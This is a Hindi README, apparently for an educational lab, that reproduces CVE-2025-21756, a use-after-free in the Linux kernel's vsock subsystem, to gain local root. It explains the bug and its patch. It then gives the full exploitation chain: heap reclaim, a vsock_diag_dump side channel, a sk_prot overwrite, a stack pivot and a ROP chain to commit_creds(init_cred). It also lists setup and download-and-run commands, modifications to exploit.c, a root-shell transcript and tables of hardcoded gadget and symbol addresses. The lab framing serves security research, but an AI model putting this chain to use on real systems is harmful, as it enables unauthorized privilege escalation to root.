
शैक्षिक प्रयोगशाला जो Linux कर्नेल के vsock सबसिस्टम में use-after-free (UAF) शोषण का प्रदर्शन करती है, जिसका उद्देश्य स्थानीय विशेषाधिकार वृद्धि करके root बनना है, साथ ही स्वचालित सेटअप और ROP चेन विश्लेषण के साथ।
केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए।
CVE-2025-21756, Linux कर्नेल के vsock (वर्चुअल सॉकेट) सबसिस्टम में एक use-after-free (UAF) भेद्यता है, जिसे 26 फरवरी 2025 को प्रकट किया गया था। यह एक स्थानीय हमलावर को प्रभावित Linux सिस्टम पर रूट तक विशेषाधिकार बढ़ाने की अनुमति देता है।
net/vmw_vsock/af_vsock.cयह बग vsock सॉकेट के ट्रांसपोर्ट पुनर्निर्धारण के दौरान होता है। भेद्य अनुक्रम इस प्रकार है:
vsock_create() सॉकेट को refcnt=2 के साथ बनाता है और इसे अनबाउंड सूची में डालता हैtransport->release() यह जाँचे बिना vsock_remove_bound() को कॉल करता है कि सॉकेट बाउंड सूची में स्थानांतरित हुआ था या नहीं, जिससे refcnt गलत तरीके से घटता हैvsock_bind() मानता है कि सॉकेट अभी भी अनबाउंड सूची में है और _vsock_remove_bound() को फिर से कॉल करता हैrefcnt समय से पहले 0 तक पहुँचता है → vsock ऑब्जेक्ट को संदर्भित रहते हुए मुक्त कर दिया जाता है → UAFvoid vsock_remove_sock(struct vsock_sock *vsk)
{
- vsock_remove_bound(vsk);
+ if (sock_flag(sk_vsock(vsk), SOCK_DEAD))
+ vsock_remove_bound(vsk);
vsock_remove_connected(vsk);
}
connect() कॉल, vsock_bind_table में जुड़े रहते हुए vsock ऑब्जेक्ट को समय से पहले मुक्त करवा देते हैंMIGRATE_UNMOVABLE) के साथ unix_dgram_sendmsg का उपयोग करके पुनः प्राप्त किया जाता है, और इसे नियंत्रित डेटा से भर दिया जाता हैvsock_diag_dump (जो AppArmor द्वारा संरक्षित नहीं है) को साइड-चैनल के रूप में उपयोग किया जाता है ताकि यह पता लगाया जा सके कि पृष्ठ कब पुनः प्राप्त हुआ था और पृष्ठ के भीतर पीड़ित ऑब्जेक्ट का सटीक ऑफसेट स्थित किया जा सकेsk->sk_prot को udp_prot+0x1c0 (udp_abort) की ओर इंगित करने के लिए अधिलेखित किया जाता है, जो कॉल किए जाने पर sk->sk_error_report(sk) को आमंत्रित करता है, जिसका पॉइंटर स्टैक पिवट गैजेट से अधिलेखित हो जाता हैcommit_creds(init_cred) निष्पादित किया जाता है, उसके बाद यूज़रस्पेस पर लौटने के लिए KPTI ट्रैम्पोलिन का उपयोग किया जाता हैexecve("/bin/sh")sudo एक्सेस वाला सामान्य उपयोगकर्ता# Download the setup script
wget -O setup-lab.sh <SCRIPT_URL>
chmod +x setup-lab.sh
# Run as a normal user (not root)
./setup-lab.sh
स्क्रिप्ट स्वचालित रूप से निम्नलिखित संभालती है:
sudo उपलब्ध न होने पर उसे स्थापित करनाbuild-essential, qemu-system-x86, bc, pahole, आदि)lts-6.6.75, rootfs, ramdisk)run_lab.sh बनानाcd ~/cve-2025-21756-lab
./run_lab.sh
वातावरण बूट होने के बाद, इसके अंदर निम्नलिखित चलाएँ:
wget -O /tmp/exploit http://10.0.2.2:8080/exploit
chmod +x /tmp/exploit
/tmp/exploit
[*] Saved state
[+] KBASE @ 0xffffffff81000000
...
[END] SUCCESSFULLY FREED THE TARGET SLAB
...
[END] Found the correct offset! ROP pls
...
[*] I AM ROOT
# id
uid=0(root) gid=0(root) groups=0(root)
बाहर निकलने के लिए: Ctrl-A X
आधार एक्सप्लॉइट ktranowl से है। इसे इस वातावरण में कार्यशील बनाने के लिए निम्नलिखित संशोधन लागू किए गए:
संशोधन: कर्नेल बूट मापदंडों में nokaslr जोड़ा गया।
कारण: मूल एक्सप्लॉइट EntryBleed का उपयोग करके KASLR को बायपास करता है, जो एक TLB टाइमिंग साइड-चैनल तकनीक है जिसके लिए सटीक CPU टाइमिंग की आवश्यकता होती है। नेस्टेड वर्चुअलाइज़ेशन वातावरण में EntryBleed के विश्वसनीय रूप से कार्य करने के लिए rdtsc परिशुद्धता अपर्याप्त है, जिसके परिणामस्वरूप गलत kbase उत्पन्न होता है और ADDRESS() के साथ गणना किए गए सभी पते गलत हो जाते हैं। KASLR को अक्षम करने से यह सुनिश्चित होता है कि कर्नेल हमेशा 0xffffffff81000000 पर लोड होता है और एक्सप्लॉइट में हार्डकोडेड ऑफसेट हमेशा सही रहते हैं।
user_rip को modeprobe_exec से check_root में बदला गयाexploit.c में संशोधन:
// Before
uint64_t user_rip = (uint64_t)modeprobe_exec;
// After
uint64_t user_rip = (uint64_t)check_root;
कारण: modeprobe_exec रिमोट kCTF वातावरण के लिए मूल एक्सप्लॉइट में उपयोग की जाने वाली विशेषाधिकार वृद्धि तकनीक है। इसके लिए कमांड-लाइन तर्कों (रिमोट सर्वर का IP और पोर्ट) और बाहरी नेटवर्क कनेक्टिविटी की आवश्यकता होती है। उन तर्कों के बिना, argv[1] पढ़ने का प्रयास करते समय प्रक्रिया GPF के साथ क्रैश हो जाती है। check_root सीधे uid की पुष्टि करता है और /bin/sh निष्पादित करता है, जो स्थानीय वातावरण में शोषण प्रदर्शित करने के लिए पर्याप्त है।
check_root के अंदर modeprobe_exec कॉल हटाया गयाexploit.c में संशोधन:
void check_root() {
if (getuid() == 0) {
puts("[*] I AM ROOT");
- modeprobe_exec(); // removed
char binsh[] = "/bin/sh";
char* const argv[] = {binsh, NULL};
execve("/bin/sh", argv, 0);
}
}
कारण: user_rip के check_root की ओर इंगित करने के बावजूद, यह फ़ंक्शन /bin/sh निष्पादित करने से पहले आंतरिक रूप से modeprobe_exec को फिर से कॉल करता था। आवश्यक तर्कों के बिना, उस कॉल ने GPF उत्पन्न किया और प्रक्रिया शेल खोले बिना समाप्त हो गई, हालाँकि commit_creds पहले ही विशेषाधिकारों को सफलतापूर्वक बढ़ा चुका था।
प्रयोगशाला सेटअप प्रक्रिया के दौरान, सभी कर्नेल प्रतीकों और ROP गैजेट्स को आधिकारिक kCTF lts-6.6.75 कर्नेल के विरुद्ध सत्यापित किया गया ताकि यह पुष्टि हो सके कि वे इस वातावरण के लिए मान्य हैं।
एक्सप्लॉइट में उपयोग किए गए तीन गैजेट्स को vmlinux बाइनरी पर ROPgadget का उपयोग करके आधिकारिक कर्नेल से निकाला गया और पुष्टि की गई कि वे हार्डकोडेड मानों से बिल्कुल मेल खाते हैं:
| गैजेट | पता | उद्देश्य |
|---|---|---|
pop rax ; and eax, ... ; pop rsp ; jmp ... | 0xffffffff8122ad32 | स्टैक पिवट — RSP को नियंत्रित vsock ऑब्जेक्ट की शुरुआत में ले जाता है |
add rsp, 0xb8 ; jmp ... | 0xffffffff8170292c | स्टैक अग्रिम — ROP श्रृंखला तक पहुँचने के लिए आरक्षित फ़ील्ड्स को छोड़ता है |
pop rdi ; ret | 0xffffffff8115e4f9 | commit_creds(init_cred) के लिए पहला तर्क लोड करता है |
इनमें से किसी में भी संशोधन की आवश्यकता नहीं थी।
निम्नलिखित प्रतीकों को कर्नेल के अंदर /proc/kallsyms के विरुद्ध सत्यापित किया गया (nokaslr के साथ, ऑफसेट निश्चित हैं):
| प्रतीक | पता | टिप्पणियाँ |
|---|---|---|
vsock_bind_table[0x7a] | 0xffffffff84bc6280 | साइड-चैनल एंकर — vsock सूची स्लॉट जहाँ पीड़ित ऑब्जेक्ट स्थित होता है |
init_net | 0xffffffff84bb1f80 | vsock_diag_dump के माध्यम से नकली vsock ऑब्जेक्ट को मान्य करने के लिए उपयोग किया जाता है |
commit_creds | 0xffffffff811fdac0 | वर्तमान प्रक्रिया को रूट क्रेडेंशियल प्रदान करता है |
init_cred | 0xffffffff83c74d80 | कर्नेल आधार से निश्चित ऑफसेट पर uid=gid=0 वाली क्रेडेंशियल संरचना |
kpti_trampoline | 0xffffffff826011a6 | swapgs_restore_regs_and_return_to_usermode+0x36 — CR3 को पुनर्स्थापित करता है और यूज़रस्पेस पर लौटता है |
address_contain_udp_abort | 0xffffffff83ef28e0 | udp_prot + 0x1c0 — नीचे टिप्पणी देखें |
सभी मान एक्सप्लॉइट में मूल मानों से मेल खाते थे। किसी संशोधन की आवश्यकता नहीं थी।